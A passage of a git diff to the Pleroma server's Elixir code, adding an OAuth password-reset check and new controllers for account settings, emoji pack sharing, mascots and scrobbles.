b/lib/pleroma/web/oauth/app.ex @@ -5,6 +5,7 @@ defmodule Pleroma.Web.OAuth.App do use Ecto.Schema import Ecto.Changeset + alias Pleroma.Repo @type t :: %__MODULE__{} @@ -39,4 +40,29 @@ def register_changeset(struct, params \\ %{}) do changeset end end + + @doc """ + Gets app by attrs or create new with attrs. + And updates the scopes if need. + """ + @spec get_or_make(map(), list(String.t())) :: {:ok, App.t()} | {:error, Ecto.Changeset.t()} + def get_or_make(attrs, scopes) do + with %__MODULE__{} = app <- Repo.get_by(__MODULE__, attrs) do + update_scopes(app, scopes) + else + _e -> + %__MODULE__{} + |> register_changeset(Map.put(attrs, :scopes, scopes)) + |> Repo.insert() + end + end + + defp update_scopes(%__MODULE__{} = app, []), do: {:ok, app} + defp update_scopes(%__MODULE__{scopes: scopes} = app, scopes), do: {:ok, app} + + defp update_scopes(%__MODULE__{} = app, scopes) do + app + |> change(%{scopes: scopes}) + |> Repo.update() + end end diff --git a/lib/pleroma/web/oauth/authorization.ex b/lib/pleroma/web/oauth/authorization.ex index d53e20d12..ed42a34f3 100644 --- a/lib/pleroma/web/oauth/authorization.ex +++ b/lib/pleroma/web/oauth/authorization.ex @@ -20,7 +20,7 @@ defmodule Pleroma.Web.OAuth.Authorization do field(:scopes, {:array, :string}, default: []) field(:valid_until, :naive_datetime_usec) field(:used, :boolean, default: false) - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) belongs_to(:app, App) timestamps() diff --git a/lib/pleroma/web/oauth/oauth_controller.ex b/lib/pleroma/web/oauth/oauth_controller.ex index 130ec7895..2d7b10e73 100644 --- a/lib/pleroma/web/oauth/oauth_controller.ex +++ b/lib/pleroma/web/oauth/oauth_controller.ex @@ -202,6 +202,8 @@ def token_exchange( {:ok, app} <- Token.Utils.fetch_app(conn), {:auth_active, true} <- {:auth_active, User.auth_active?(user)}, {:user_active, true} <- {:user_active, !user.info.deactivated}, + {:password_reset_pending, false} <- + {:password_reset_pending, user.info.password_reset_pending}, {:ok, scopes} <- validate_scopes(app, params), {:ok, auth} <- Authorization.create_authorization(app, user, scopes), {:ok, token} <- Token.exchange_token(app, auth) do @@ -215,6 +217,9 @@ def token_exchange( {:user_active, false} -> render_error(conn, :forbidden, "Your account is currently disabled") + {:password_reset_pending, true} -> + render_error(conn, :forbidden, "Password reset is required") + _error -> render_invalid_credentials_error(conn) end diff --git a/lib/pleroma/web/oauth/token.ex b/lib/pleroma/web/oauth/token.ex index 40f131b57..8ea373805 100644 --- a/lib/pleroma/web/oauth/token.ex +++ b/lib/pleroma/web/oauth/token.ex @@ -21,7 +21,7 @@ defmodule Pleroma.Web.OAuth.Token do field(:refresh_token, :string) field(:scopes, {:array, :string}, default: []) field(:valid_until, :naive_datetime_usec) - belongs_to(:user, User, type: Pleroma.FlakeId) + belongs_to(:user, User, type: FlakeId.Ecto.CompatType) belongs_to(:app, App) timestamps() diff --git a/lib/pleroma/web/ostatus/ostatus_controller.ex b/lib/pleroma/web/ostatus/ostatus_controller.ex index 64b2c64b3..8f325b28e 100644 --- a/lib/pleroma/web/ostatus/ostatus_controller.ex +++ b/lib/pleroma/web/ostatus/ostatus_controller.ex @@ -216,7 +216,8 @@ defp represent_activity( conn |> put_resp_header("content-type", "application/activity+json") - |> json(ObjectView.render("object.json", %{object: object})) + |> put_view(ObjectView) + |> render("object.json", %{object: object}) end defp represent_activity(_conn, "activity+json", _, _) do diff --git a/lib/pleroma/web/pleroma_api/controllers/account_controller.ex b/lib/pleroma/web/pleroma_api/controllers/account_controller.ex new file mode 100644 index 000000000..9012e2175 --- /dev/null +++ b/lib/pleroma/web/pleroma_api/controllers/account_controller.ex @@ -0,0 +1,168 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.AccountController do + use Pleroma.Web, :controller + + import Pleroma.Web.ControllerHelper, + only: [json_response: 3, add_link_headers: 2, assign_account_by_id: 2] + + alias Ecto.Changeset + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Plugs.RateLimiter + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI.StatusView + + require Pleroma.Constants + + plug( + OAuthScopesPlug, + %{scopes: ["follow", "write:follows"]} when action in [:subscribe, :unsubscribe] + ) + + plug( + OAuthScopesPlug, + %{scopes: ["write:accounts"]} + # Note: the following actions are not permission-secured in Mastodon: + when action in [ + :update_avatar, + :update_banner, + :update_background + ] + ) + + plug(OAuthScopesPlug, %{scopes: ["read:favourites"]} when action == :favourites) + + # An extra safety measure for possible actions not guarded by OAuth permissions specification + plug( + Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug + when action != :confirmation_resend + ) + + plug(RateLimiter, :account_confirmation_resend when action == :confirmation_resend) + plug(:assign_account_by_id when action in [:favourites, :subscribe, :unsubscribe]) + plug(:put_view, Pleroma.Web.MastodonAPI.AccountView) + + @doc "POST /api/v1/pleroma/accounts/confirmation_resend" + def confirmation_resend(conn, params) do + nickname_or_email = params["email"] || params["nickname"] + + with %User{} = user <- User.get_by_nickname_or_email(nickname_or_email), + {:ok, _} <- User.try_send_confirmation_email(user) do + json_response(conn, :no_content, "") + end + end + + @doc "PATCH /api/v1/pleroma/accounts/update_avatar" + def update_avatar(%{assigns: %{user: user}} = conn, %{"img" => ""}) do + {:ok, user} = + user + |> Changeset.change(%{avatar: nil}) + |> User.update_and_set_cache() + + CommonAPI.update(user) + + json(conn, %{url: nil}) + end + + def update_avatar(%{assigns: %{user: user}} = conn, params) do + {:ok, %{data: data}} = ActivityPub.upload(params, type: :avatar) + {:ok, user} = user |> Changeset.change(%{avatar: data}) |> User.update_and_set_cache() + %{"url" => [%{"href" => href} | _]} = data + + CommonAPI.update(user) + + json(conn, %{url: href}) + end + + @doc "PATCH /api/v1/pleroma/accounts/update_banner" + def update_banner(%{assigns: %{user: user}} = conn, %{"banner" => ""}) do + new_info = %{"banner" => %{}} + + with {:ok, user} <- User.update_info(user, &User.Info.profile_update(&1, new_info)) do + CommonAPI.update(user) + json(conn, %{url: nil}) + end + end + + def update_banner(%{assigns: %{user: user}} = conn, params) do + with {:ok, object} <- ActivityPub.upload(%{"img" => params["banner"]}, type: :banner), + new_info <- %{"banner" => object.data}, + {:ok, user} <- User.update_info(user, &User.Info.profile_update(&1, new_info)) do + CommonAPI.update(user) + %{"url" => [%{"href" => href} | _]} = object.data + + json(conn, %{url: href}) + end + end + + @doc "PATCH /api/v1/pleroma/accounts/update_background" + def update_background(%{assigns: %{user: user}} = conn, %{"img" => ""}) do + new_info = %{"background" => %{}} + + with {:ok, _user} <- User.update_info(user, &User.Info.profile_update(&1, new_info)) do + json(conn, %{url: nil}) + end + end + + def update_background(%{assigns: %{user: user}} = conn, params) do + with {:ok, object} <- ActivityPub.upload(params, type: :background), + new_info <- %{"background" => object.data}, + {:ok, _user} <- User.update_info(user, &User.Info.profile_update(&1, new_info)) do + %{"url" => [%{"href" => href} | _]} = object.data + + json(conn, %{url: href}) + end + end + + @doc "GET /api/v1/pleroma/accounts/:id/favourites" + def favourites(%{assigns: %{account: %{info: %{hide_favorites: true}}}} = conn, _params) do + render_error(conn, :forbidden, "Can't get favorites") + end + + def favourites(%{assigns: %{user: for_user, account: user}} = conn, params) do + params = + params + |> Map.put("type", "Create") + |> Map.put("favorited_by", user.ap_id) + |> Map.put("blocking_user", for_user) + + recipients = + if for_user do + [Pleroma.Constants.as_public()] ++ [for_user.ap_id | for_user.following] + else + [Pleroma.Constants.as_public()] + end + + activities = + recipients + |> ActivityPub.fetch_activities(params) + |> Enum.reverse() + + conn + |> add_link_headers(activities) + |> put_view(StatusView) + |> render("index.json", activities: activities, for: for_user, as: :activity) + end + + @doc "POST /api/v1/pleroma/accounts/:id/subscribe" + def subscribe(%{assigns: %{user: user, account: subscription_target}} = conn, _params) do + with {:ok, subscription_target} <- User.subscribe(user, subscription_target) do + render(conn, "relationship.json", user: user, target: subscription_target) + else + {:error, message} -> json_response(conn, :forbidden, %{error: message}) + end + end + + @doc "POST /api/v1/pleroma/accounts/:id/unsubscribe" + def unsubscribe(%{assigns: %{user: user, account: subscription_target}} = conn, _params) do + with {:ok, subscription_target} <- User.unsubscribe(user, subscription_target) do + render(conn, "relationship.json", user: user, target: subscription_target) + else + {:error, message} -> json_response(conn, :forbidden, %{error: message}) + end + end +end diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex new file mode 100644 index 000000000..545ad80c9 --- /dev/null +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex @@ -0,0 +1,617 @@ +defmodule Pleroma.Web.PleromaAPI.EmojiAPIController do + use Pleroma.Web, :controller + + require Logger + + def emoji_dir_path do + Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + end + + @doc """ + Lists packs from the remote instance. + + Since JS cannot ask remote instances for their packs due to CPS, it has to + be done by the server + """ + def list_from(conn, %{"instance_address" => address}) do + address = String.trim(address) + + if shareable_packs_available(address) do + list_resp = + "#{address}/api/pleroma/emoji/packs" |> Tesla.get!() |> Map.get(:body) |> Jason.decode!() + + json(conn, list_resp) + else + conn + |> put_status(:internal_server_error) + |> json(%{error: "The requested instance does not support sharing emoji packs"}) + end + end + + @doc """ + Lists the packs available on the instance as JSON. + + The information is public and does not require authentification. The format is + a map of "pack directory name" to pack.json contents. + """ + def list_packs(conn, _params) do + # Create the directory first if it does not exist. This is probably the first request made + # with the API so it should be sufficient + with {:create_dir, :ok} <- {:create_dir, File.mkdir_p(emoji_dir_path())}, + {:ls, {:ok, results}} <- {:ls, File.ls(emoji_dir_path())} do + pack_infos = + results + |> Enum.filter(&has_pack_json?/1) + |> Enum.map(&load_pack/1) + # Check if all the files are in place and can be sent + |> Enum.map(&validate_pack/1) + # Transform into a map of pack-name => pack-data + |> Enum.into(%{}) + + json(conn, pack_infos) + else + {:create_dir, {:error, e}} -> + conn + |> put_status(:internal_server_error) + |> json(%{error: "Failed to create the emoji pack directory at #{emoji_dir_path()}: #{e}"}) + + {:ls, {:error, e}} -> + conn + |> put_status(:internal_server_error) + |> json(%{ + error: + "Failed to get the contents of the emoji pack directory at #{emoji_dir_path()}: #{e}" + }) + end + end + + defp has_pack_json?(file) do + dir_path = Path.join(emoji_dir_path(), file) + # Filter to only use the pack.json packs + File.dir?(dir_path) and File.exists?(Path.join(dir_path, "pack.json")) + end + + defp load_pack(pack_name) do + pack_path = Path.join(emoji_dir_path(), pack_name) + pack_file = Path.join(pack_path, "pack.json") + + {pack_name, Jason.decode!(File.read!(pack_file))} + end + + defp validate_pack({name, pack}) do + pack_path = Path.join(emoji_dir_path(), name) + + if can_download?(pack, pack_path) do + archive_for_sha = make_archive(name, pack, pack_path) + archive_sha = :crypto.hash(:sha256, archive_for_sha) |> Base.encode16() + + pack = + pack + |> put_in(["pack", "can-download"], true) + |> put_in(["pack", "download-sha256"], archive_sha) + + {name, pack} + else + {name, put_in(pack, ["pack", "can-download"], false)} + end + end + + defp can_download?(pack, pack_path) do + # If the pack is set as shared, check if it can be downloaded + # That means that when asked, the pack can be packed and sent to the remote + # Otherwise, they'd have to download it from external-src + pack["pack"]["share-files"] && + Enum.all?(pack["files"], fn {_, path} -> + File.exists?(Path.join(pack_path, path)) + end) + end + + defp create_archive_and_cache(name, pack, pack_dir, md5) do + files = + ['pack.json'] ++ + (pack["files"] |> Enum.map(fn {_, path} -> to_charlist(path) end)) + + {:ok, {_, zip_result}} = :zip.zip('#{name}.zip', files, [:memory, cwd: to_charlist(pack_dir)]) + + cache_seconds_per_file = Pleroma.Config.get!([:emoji, :shared_pack_cache_seconds_per_file]) + cache_ms = :timer.seconds(cache_seconds_per_file * Enum.count(files)) + + Cachex.put!( + :emoji_packs_cache, + name, + # if pack.json MD5 changes, the cache is not valid anymore + %{pack_json_md5: md5, pack_data: zip_result}, + # Add a minute to cache time for every file in the pack + ttl: cache_ms + ) + + Logger.debug("Created an archive for the '#{name}' emoji pack, \ +keeping it in cache for #{div(cache_ms, 1000)}s") + + zip_result + end + + defp make_archive(name, pack, pack_dir) do + # Having a different pack.json md5 invalidates cache + pack_file_md5 = :crypto.hash(:md5, File.read!(Path.join(pack_dir, "pack.json"))) + + case Cachex.get!(:emoji_packs_cache, name) do + %{pack_file_md5: ^pack_file_md5, pack_data: zip_result} -> + Logger.debug("Using cache for the '#{name}' shared emoji pack") + zip_result + + _ -> + create_archive_and_cache(name, pack, pack_dir, pack_file_md5) + end + end + + @doc """ + An endpoint for other instances (via admin UI) or users (via browser) + to download packs that the instance shares. + """ + def download_shared(conn, %{"name" => name}) do + pack_dir = Path.join(emoji_dir_path(), name) + pack_file = Path.join(pack_dir, "pack.json") + + with {_, true} <- {:exists?, File.exists?(pack_file)}, + pack = Jason.decode!(File.read!(pack_file)), + {_, true} <- {:can_download?, can_download?(pack, pack_dir)} do + zip_result = make_archive(name, pack, pack_dir) + send_download(conn, {:binary, zip_result}, filename: "#{name}.zip") + else + {:can_download?, _} -> + conn + |> put_status(:forbidden) + |> json(%{ + error: "Pack #{name} cannot be downloaded from this instance, either pack sharing\ + was disabled for this pack or some files are missing" + }) + + {:exists?, _} -> + conn + |> put_status(:not_found) + |> json(%{error: "Pack #{name} does not exist"}) + end + end + + defp shareable_packs_available(address) do + "#{address}/.well-known/nodeinfo" + |> Tesla.get!() + |> Map.get(:body) + |> Jason.decode!() + |> Map.get("links") + |> List.last() + |> Map.get("href") + # Get the actual nodeinfo address and fetch it + |> Tesla.get!() + |> Map.get(:body) + |> Jason.decode!() + |> get_in(["metadata", "features"]) + |> Enum.member?("shareable_emoji_packs") + end + + @doc """ + An admin endpoint to request downloading a pack named `pack_name` from the instance + `instance_address`. + + If the requested instance's admin chose to share the pack, it will be downloaded + from that instance, otherwise it will be downloaded from the fallback source, if there is one. + """ + def download_from(conn, %{"instance_address" => address, "pack_name" => name} = data) do + address = String.trim(address) + + if shareable_packs_available(address) do + full_pack = + "#{address}/api/pleroma/emoji/packs/list" + |> Tesla.get!() + |> Map.get(:body) + |> Jason.decode!() + |> Map.get(name) + + pack_info_res = + case full_pack["pack"] do + %{"share-files" => true, "can-download" => true, "download-sha256" => sha} -> + {:ok, + %{ + sha: sha, + uri: "#{address}/api/pleroma/emoji/packs/download_shared/#{name}" + }} + + %{"fallback-src" => src, "fallback-src-sha256" => sha} when is_binary(src) -> + {:ok, + %{ + sha: sha, + uri: src, + fallback: true + }} + + _ -> + {:error, + "The pack was not set as shared and there is no fallback src to download from"} + end + + with {:ok, %{sha: sha, uri: uri} = pinfo} <- pack_info_res, + %{body: emoji_archive} <- Tesla.get!(uri), + {_, true} <- {:checksum, Base.decode16!(sha) == :crypto.hash(:sha256, emoji_archive)} do + local_name = data["as"] || name + pack_dir = Path.join(emoji_dir_path(), local_name) + File.mkdir_p!(pack_dir) + + files = Enum.map(full_pack["files"], fn {_, path} -> to_charlist(path) end) + # Fallback cannot contain a pack.json file + files = if pinfo[:fallback], do: files, else: ['pack.json'] ++ files + + {:ok, _} = :zip.unzip(emoji_archive, cwd: to_charlist(pack_dir), file_list: files) + + # Fallback can't contain a pack.json file, since that would cause the fallback-src-sha256 + # in it to depend on itself + if pinfo[:fallback] do + pack_file_path = Path.join(pack_dir, "pack.json") + + File.write!(pack_file_path, Jason.encode!(full_pack, pretty: true)) + end + + json(conn, "ok") + else + {:error, e} -> + conn |> put_status(:internal_server_error) |> json(%{error: e}) + + {:checksum, _} -> + conn + |> put_status(:internal_server_error) + |> json(%{error: "SHA256 for the pack doesn't match the one sent by the server"}) + end + else + conn + |> put_status(:internal_server_error) + |> json(%{error: "The requested instance does not support sharing emoji packs"}) + end + end + + @doc """ + Creates an empty pack named `name` which then can be updated via the admin UI. + """ + def create(conn, %{"name" => name}) do + pack_dir = Path.join(emoji_dir_path(), name) + + if not File.exists?(pack_dir) do + File.mkdir_p!(pack_dir) + + pack_file_p = Path.join(pack_dir, "pack.json") + + File.write!( + pack_file_p, + Jason.encode!(%{pack: %{}, files: %{}}, pretty: true) + ) + + conn |> json("ok") + else + conn + |> put_status(:conflict) + |> json(%{error: "A pack named \"#{name}\" already exists"}) + end + end + + @doc """ + Deletes the pack `name` and all it's files. + """ + def delete(conn, %{"name" => name}) do + pack_dir = Path.join(emoji_dir_path(), name) + + case File.rm_rf(pack_dir) do + {:ok, _} -> + conn |> json("ok") + + {:error, _} -> + conn + |> put_status(:internal_server_error) + |> json(%{error: "Couldn't delete the pack #{name}"}) + end + end + + @doc """ + An endpoint to update `pack_names`'s metadata. + + `new_data` is the new metadata for the pack, that will replace the old metadata. + """ + def update_metadata(conn, %{"pack_name" => name, "new_data" => new_data}) do + pack_file_p = Path.join([emoji_dir_path(), name, "pack.json"]) + + full_pack = Jason.decode!(File.read!(pack_file_p)) + + # The new fallback-src is in the new data and it's not the same as it was in the old data + should_update_fb_sha = + not is_nil(new_data["fallback-src"]) and + new_data["fallback-src"] != full_pack["pack"]["fallback-src"] + + with {_, true} <- {:should_update?, should_update_fb_sha}, + %{body: pack_arch} <- Tesla.get!(new_data["fallback-src"]), + {:ok, flist} <- :zip.unzip(pack_arch, [:memory]), + {_, true} <- {:has_all_files?, has_all_files?(full_pack, flist)} do + fallback_sha = :crypto.hash(:sha256, pack_arch) |> Base.encode16() + + new_data = Map.put(new_data, "fallback-src-sha256", fallback_sha) + update_metadata_and_send(conn, full_pack, new_data, pack_file_p) + else + {:should_update?, _} -> + update_metadata_and_send(conn, full_pack, new_data, pack_file_p) + + {:has_all_files?, _} -> + conn + |> put_status(:bad_request) + |> json(%{error: "The fallback archive does not have all files specified in pack.json"}) + end + end + + # Check if all files from the pack.json are in the archive + defp has_all_files?(%{"files" => files}, flist) do + Enum.all?(files, fn {_, from_manifest} -> + Enum.find(flist, fn {from_archive, _} -> + to_string(from_archive) == from_manifest + end) + end) + end + + defp update_metadata_and_send(conn, full_pack, new_data, pack_file_p) do + full_pack = Map.put(full_pack, "pack", new_data) + File.write!(pack_file_p, Jason.encode!(full_pack, pretty: true)) + + # Send new data back with fallback sha filled + json(conn, new_data) + end + + defp get_filename(%{"filename" => filename}), do: filename + + defp get_filename(%{"file" => file}) do + case file do + %Plug.Upload{filename: filename} -> filename + url when is_binary(url) -> Path.basename(url) + end + end + + defp empty?(str), do: String.trim(str) == "" + + defp update_file_and_send(conn, updated_full_pack, pack_file_p) do + # Write the emoji pack file + File.write!(pack_file_p, Jason.encode!(updated_full_pack, pretty: true)) + + # Return the modified file list + json(conn, updated_full_pack["files"]) + end + + @doc """ + Updates a file in a pack. + + Updating can mean three things: + + - `add` adds an emoji named `shortcode` to the pack `pack_name`, + that means that the emoji file needs to be uploaded with the request + (thus requiring it to be a multipart request) and be named `file`. + There can also be an optional `filename` that will be the new emoji file name + (if it's not there, the name will be taken from the uploaded file). + - `update` changes emoji shortcode (from `shortcode` to `new_shortcode` or moves the file + (from the current filename to `new_filename`) + - `remove` removes the emoji named `shortcode` and it's associated file + """ + + # Add + def update_file( + conn, + %{"pack_name" => pack_name, "action" => "add", "shortcode" => shortcode} = params + ) do + pack_dir = Path.join(emoji_dir_path(), pack_name) + pack_file_p = Path.join(pack_dir, "pack.json") + + full_pack = Jason.decode!(File.read!(pack_file_p)) + + with {_, false} <- {:has_shortcode, Map.has_key?(full_pack["files"], shortcode)}, + filename <- get_filename(params), + false <- empty?(shortcode), + false <- empty?(filename) do + file_path = Path.join(pack_dir, filename) + + # If the name contains directories, create them + if String.contains?(file_path, "/") do + File.mkdir_p!(Path.dirname(file_path)) + end + + case params["file"] do + %Plug.Upload{path: upload_path} -> + # Copy the uploaded file from the temporary directory + File.copy!(upload_path, file_path) + + url when is_binary(url) -> + # Download and write the file + file_contents = Tesla.get!(url).body + File.write!(file_path, file_contents) + end + + updated_full_pack = put_in(full_pack, ["files", shortcode], filename) + update_file_and_send(conn, updated_full_pack, pack_file_p) + else + {:has_shortcode, _} -> + conn + |> put_status(:conflict) + |> json(%{error: "An emoji with the \"#{shortcode}\" shortcode already exists"}) + + true -> + conn + |> put_status(:bad_request) + |> json(%{error: "shortcode or filename cannot be empty"}) + end + end + + # Remove + def update_file(conn, %{ + "pack_name" => pack_name, + "action" => "remove", + "shortcode" => shortcode + }) do + pack_dir = Path.join(emoji_dir_path(), pack_name) + pack_file_p = Path.join(pack_dir, "pack.json") + + full_pack = Jason.decode!(File.read!(pack_file_p)) + + if Map.has_key?(full_pack["files"], shortcode) do + {emoji_file_path, updated_full_pack} = pop_in(full_pack, ["files", shortcode]) + + emoji_file_path = Path.join(pack_dir, emoji_file_path) + + # Delete the emoji file + File.rm!(emoji_file_path) + + # If the old directory has no more files, remove it + if String.contains?(emoji_file_path, "/") do + dir = Path.dirname(emoji_file_path) + + if Enum.empty?(File.ls!(dir)) do + File.rmdir!(dir) + end + end + + update_file_and_send(conn, updated_full_pack, pack_file_p) + else + conn + |> put_status(:bad_request) + |> json(%{error: "Emoji \"#{shortcode}\" does not exist"}) + end + end + + # Update + def update_file( + conn, + %{"pack_name" => pack_name, "action" => "update", "shortcode" => shortcode} = params + ) do + pack_dir = Path.join(emoji_dir_path(), pack_name) + pack_file_p = Path.join(pack_dir, "pack.json") + + full_pack = Jason.decode!(File.read!(pack_file_p)) + + with {_, true} <- {:has_shortcode, Map.has_key?(full_pack["files"], shortcode)}, + %{"new_shortcode" => new_shortcode, "new_filename" => new_filename} <- params, + false <- empty?(new_shortcode), + false <- empty?(new_filename) do + # First, remove the old shortcode, saving the old path + {old_emoji_file_path, updated_full_pack} = pop_in(full_pack, ["files", shortcode]) + old_emoji_file_path = Path.join(pack_dir, old_emoji_file_path) + new_emoji_file_path = Path.join(pack_dir, new_filename) + + # If the name contains directories, create them + if String.contains?(new_emoji_file_path, "/") do + File.mkdir_p!(Path.dirname(new_emoji_file_path)) + end + + # Move/Rename the old filename to a new filename + # These are probably on the same filesystem, so just rename should work + :ok = File.rename(old_emoji_file_path, new_emoji_file_path) + + # If the old directory has no more files, remove it + if String.contains?(old_emoji_file_path, "/") do + dir = Path.dirname(old_emoji_file_path) + + if Enum.empty?(File.ls!(dir)) do + File.rmdir!(dir) + end + end + + # Then, put in the new shortcode with the new path + updated_full_pack = put_in(updated_full_pack, ["files", new_shortcode], new_filename) + update_file_and_send(conn, updated_full_pack, pack_file_p) + else + {:has_shortcode, _} -> + conn + |> put_status(:bad_request) + |> json(%{error: "Emoji \"#{shortcode}\" does not exist"}) + + true -> + conn + |> put_status(:bad_request) + |> json(%{error: "new_shortcode or new_filename cannot be empty"}) + + _ -> + conn + |> put_status(:bad_request) + |> json(%{error: "new_shortcode or new_file were not specified"}) + end + end + + def update_file(conn, %{"action" => action}) do + conn + |> put_status(:bad_request) + |> json(%{error: "Unknown action: #{action}"}) + end + + @doc """ + Imports emoji from the filesystem. + + Importing means checking all the directories in the + `$instance_static/emoji/` for directories which do not have + `pack.json`. If one has an emoji.txt file, that file will be used + to create a `pack.json` file with it's contents. If the directory has + neither, all the files with specific configured extenstions will be + assumed to be emojis and stored in the new `pack.json` file. + """ + def import_from_fs(conn, _params) do + with {:ok, results} <- File.ls(emoji_dir_path()) do + imported_pack_names = + results + |> Enum.filter(fn file -> + dir_path = Path.join(emoji_dir_path(), file) + # Find the directories that do NOT have pack.json + File.dir?(dir_path) and not File.exists?(Path.join(dir_path, "pack.json")) + end) + |> Enum.map(&write_pack_json_contents/1) + + json(conn, imported_pack_names) + else + {:error, _} -> + conn + |> put_status(:internal_server_error) + |> json(%{error: "Error accessing emoji pack directory"}) + end + end + + defp write_pack_json_contents(dir) do + dir_path = Path.join(emoji_dir_path(), dir) + emoji_txt_path = Path.join(dir_path, "emoji.txt") + + files_for_pack = files_for_pack(emoji_txt_path, dir_path) + pack_json_contents = Jason.encode!(%{pack: %{}, files: files_for_pack}) + + File.write!(Path.join(dir_path, "pack.json"), pack_json_contents) + + dir + end + + defp files_for_pack(emoji_txt_path, dir_path) do + if File.exists?(emoji_txt_path) do + # There's an emoji.txt file, it's likely from a pack installed by the pack manager. + # Make a pack.json file from the contents of that emoji.txt fileh + + # FIXME: Copy-pasted from Pleroma.Emoji/load_from_file_stream/2 + + # Create a map of shortcodes to filenames from emoji.txt + File.read!(emoji_txt_path) + |> String.split("\n") + |> Enum.map(&String.trim/1) + |> Enum.map(fn line -> + case String.split(line, ~r/,\s*/) do + # This matches both strings with and without tags + # and we don't care about tags here + [name, file | _] -> {name, file} + _ -> nil + end + end) + |> Enum.filter(fn x -> not is_nil(x) end) + |> Enum.into(%{}) + else + # If there's no emoji.txt, assume all files + # that are of certain extensions from the config are emojis and import them all + pack_extensions = Pleroma.Config.get!([:emoji, :pack_extensions]) + Pleroma.Emoji.Loader.make_shortcode_to_file_map(dir_path, pack_extensions) + end + end +end diff --git a/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex b/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex new file mode 100644 index 000000000..d71d72dd5 --- /dev/null +++ b/lib/pleroma/web/pleroma_api/controllers/mascot_controller.ex @@ -0,0 +1,41 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.MascotController do + use Pleroma.Web, :controller + + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + + plug(OAuthScopesPlug, %{scopes: ["read:accounts"]} when action == :show) + plug(OAuthScopesPlug, %{scopes: ["write:accounts"]} when action != :show) + + plug(Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug) + + @doc "GET /api/v1/pleroma/mascot" + def show(%{assigns: %{user: user}} = conn, _params) do + json(conn, User.get_mascot(user)) + end + + @doc "PUT /api/v1/pleroma/mascot" + def update(%{assigns: %{user: user}} = conn, %{"file" => file}) do + with {:ok, object} <- ActivityPub.upload(file, actor: User.ap_id(user)), + # Reject if not an image + %{type: "image"} = attachment <- render_attachment(object) do + # Sure! + # Save to the user's info + {:ok, _user} = User.update_info(user, &User.Info.mascot_update(&1, attachment)) + + json(conn, attachment) + else + %{type: _} -> render_error(conn, :unsupported_media_type, "mascots can only be images") + end + end + + defp render_attachment(object) do + attachment_data = Map.put(object.data, "id", object.id) + Pleroma.Web.MastodonAPI.StatusView.render("attachment.json", %{attachment: attachment_data}) + end +end diff --git a/lib/pleroma/web/pleroma_api/pleroma_api_controller.ex b/lib/pleroma/web/pleroma_api/controllers/pleroma_api_controller.ex similarity index 96% rename from lib/pleroma/web/pleroma_api/pleroma_api_controller.ex rename to lib/pleroma/web/pleroma_api/controllers/pleroma_api_controller.ex index f3dc4616c..9d50a7ca9 100644 --- a/lib/pleroma/web/pleroma_api/pleroma_api_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/pleroma_api_controller.ex @@ -22,11 +22,13 @@ defmodule Pleroma.Web.PleromaAPI.PleromaAPIController do plug( OAuthScopesPlug, - %{scopes: ["write:conversations"]} when action in [:conversations, :conversation_read] + %{scopes: ["write:conversations"]} when action == :update_conversation ) plug(OAuthScopesPlug, %{scopes: ["write:notifications"]} when action == :read_notification) + plug(Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug) + def conversation(%{assigns: %{user: user}} = conn, %{"id" => participation_id}) do with %Participation{} = participation <- Participation.get(participation_id), true <- user.id == participation.user_id do diff --git a/lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex b/lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex new file mode 100644 index 000000000..b74b3debc --- /dev/null +++ b/lib/pleroma/web/pleroma_api/controllers/scrobble_controller.ex @@ -0,0 +1,58 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.ScrobbleController do + use Pleroma.Web, :controller + + import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2, fetch_integer_param: 2] + + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.MastodonAPI.StatusView + + plug(OAuthScopesPlug, %{scopes: ["read"]} when action == :user_scrobbles) + plug(OAuthScopesPlug, %{scopes: ["write"]} when action != :user_scrobbles) + + plug(Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug) + + def new_scrobble(%{assigns: %{user: user}} = conn, %{"title" => _} = params) do + params = + if !params["length"] do + params + else + params + |> Map.put("length", fetch_integer_param(params, "length")) + end + + with {:ok, activity} <- CommonAPI.listen(user, params) do + conn + |> put_view(StatusView) + |> render("listen.json", %{activity: activity, for: user}) + else + {:error, message} -> + conn + |> put_status(:bad_request) + |> json(%{"error" => message}) + end + end + + def user_scrobbles(%{assigns: %{user: reading_user}} = conn, params) do + with %User{} = user <- User.get_cached_by_nickname_or_id(params["id"], for: reading_user) do + params = Map.put(params, "type", ["Listen"]) + + activities = ActivityPub.fetch_user_abstract_activities(user, reading_user, params) + + conn + |> add_link_headers(activities) + |> put_view(StatusView) + |> render("listens.json", %{ + activities: activities, + for: reading_user, + as: :activity + }) + end + end +end diff --git a/lib/pleroma/web/push/subscription.ex b/lib/pleroma/web/push/subscription.ex index da301fbbc..988fabaeb 100644 --- a/lib/pleroma/web/push/subscription.ex +++ b/lib/pleroma/web/push/subscription.ex @@ -15,7 +15,7 @@ defmodule Pleroma.Web.Push.Subscription do @type t :: %__MODULE__{} 